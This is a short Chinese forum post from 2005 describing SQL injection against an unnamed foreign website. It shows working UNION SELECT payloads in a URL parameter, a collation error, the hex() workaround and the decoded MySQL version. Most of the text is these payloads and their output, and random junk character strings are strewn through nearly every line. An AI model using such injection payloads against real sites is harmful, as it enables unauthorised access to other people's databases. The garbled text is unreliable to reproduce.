本文作者:SuperHei+ u0 b& P8 O. g1 I; @
文章性质:原创! L5 _1 D, Q$ P( z- V
发布日期:2005-10-184 H$ T+ ]" S" }5 x% L
测试个国外的站时:# P/ f9 M' J: D% p2 S* I* A" i
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/* y7 B) O& o# p# v: [* S7 {( \1 C
返回错误:
1 M2 f9 }$ y+ U( f% MIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'1 t+ t! \2 P$ T3 @' v8 R4 i9 K E9 I
MySQL Error No. 126: g, s& r: {9 v3 g% |
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
J# M" q# f7 p4 H8 Z解决办法:转为其他编码如hex。
1 E' r( a6 T0 i+ q4 u2 X, q) Purl:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*7 t. Q: ]& A6 P1 W. G6 t2 ]5 D8 z
成功得到hex(version())的值为:
+ q$ m% }& d* J342E312E332D62657461# V7 _ q" D6 I r& D4 H
回Mysql查询下得到:
6 r8 v6 m# t+ j" n; Zmysql> select 0x342E312E332D62657461;: y/ |9 J% k0 u$ D8 F
+------------------------+
9 c3 c; I4 y7 n( O3 ^| 0x342E312E332D62657461 |
1 I/ T4 l8 N4 R4 ^+------------------------+
! T* i: x# ~* @8 ^# S+ k0 Y| 4.1.3-beta |
9 n: x& k" f1 H8 f+------------------------+9 P" C' k& S; D- g! c& c
1 row in set (0.00 sec)
* v" q/ h/ I. C. @7 X8 m E% G+ }$ O h
+ _/ m* b1 n; X3 f |